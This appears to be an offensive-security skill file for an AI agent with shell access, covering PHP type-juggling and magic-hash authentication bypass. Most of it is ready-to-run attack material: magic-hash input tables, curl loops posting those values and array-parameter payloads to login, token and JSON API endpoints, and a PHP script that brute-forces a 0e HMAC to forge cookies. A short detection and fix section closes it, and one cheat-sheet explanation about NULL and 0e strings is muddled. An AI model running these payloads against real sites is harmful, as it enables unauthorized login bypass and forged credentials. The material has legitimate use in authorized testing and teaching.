| name | php-type-juggling |
| description | PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"authentication","when_to_use":"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","tags":"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","mitre_attack":"T1190, T1606.001"} |
PHP Type Juggling and Magic Hash Attacks
Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.
PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.
Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.
ATT&CK Mapping
| Technique | Notes |
|---|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw |
| T1606.001 | Forge web credentials — force authentication with crafted hash values |
1. Loose Comparison Cheat Sheet
'0010e2' == '1e3' → true (both evaluate as float 1000)
'123' == 123 → true (string cast to int)
'123abc' == 123 → true (leading numeric string)
'abc' == 0 → true (non-numeric string == 0 in PHP 5/7)
'' == 0 → true
0 == false → true
false == NULL → true
NULL == '' → true
md5([]) == NULL → true (NULL == any string starting with 0e)
sha1([]) == NULL → true
PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.
2. Magic Hashes — 0e Collisions
When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.
MD5 Magic Strings
| Input | MD5 Hash |
|---|
240610708 | 0e462097431906509019562988736854 |
QNKCDZO | 0e830400451993494058024219903391 |
0e1137126905 | 0e291659922323405260514745084877 |
0e215962017 | 0e291242476940776845150308577824 |
aabg7XSs | 0e087386482136013740957780965295 |
SHA-1 Magic Strings
| Input | SHA-1 Hash |
|---|
10932435112 | 0e07766915004133176347055865026311692244 |
aaroZmOk | 0e66507019969427134894567494305185566735 |
aaK1STfY | 0e76658526655756207688271159624026011393 |
SHA-224 / SHA-256 Magic Strings
| Hash | Input | Output |
|---|
| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 |
| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 |
| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 |
Exploitation
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
3. NULL Bypass via Array Input
md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"
4. strcmp() Return Value Bypass
strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"
5. HMAC Brute-Force for 0e Collision (Magic HMAC)
When a cookie HMAC is verified with loose comparison against "0", an attacker brute-forces an expiration timestamp until hash_hmac('md5', payload, key) produces a 0e... string — which equals "0" under ==.
This works when the key is empty or known (e.g., leaked via .env).
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = ''; // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
$out = hash_hmac('md5', $username . '|' . $i, $key);
if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
echo "Found: expiration=$i hash=$out\n";
break;
}
}
EOF
php /tmp/find_magic_hmac.php
6. Type Juggling in JSON APIs
JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"token": 0, "user": "admin"}' \
| grep -iE "success|error|200"
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"admin": true, "role": "admin"}' \
| grep -iE "success|error|200"
7. Identify Vulnerable PHP Code Patterns
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"
8. Common Targets in the Wild
| Application Class | Likely Sink |
|---|
| Custom PHP login forms | md5($pass) == $stored |
| Token validation endpoints | strcmp($token, $secret) == 0 |
| HMAC cookie verifiers | hmac($cookie) != $supplied using == |
| Email unsubscribe links | md5($email) == $_GET['hash'] |
| Admin PIN verification | sha1($pin) == $db_hash |
Detection Notes
- PHP 8.0+ resolves
'abc' == 0 → false and makes strcmp throw on array input; PHP 7 and below remain vulnerable
- Static analysis:
psalm --taint-analysis, phpstan level 8 flag loose comparisons
- Dynamic: supply
[] for hash/strcmp parameters, observe PHP warning in response or error logs
- Fix: always use
=== for hash comparisons and hash_equals() for timing-safe HMAC checks
References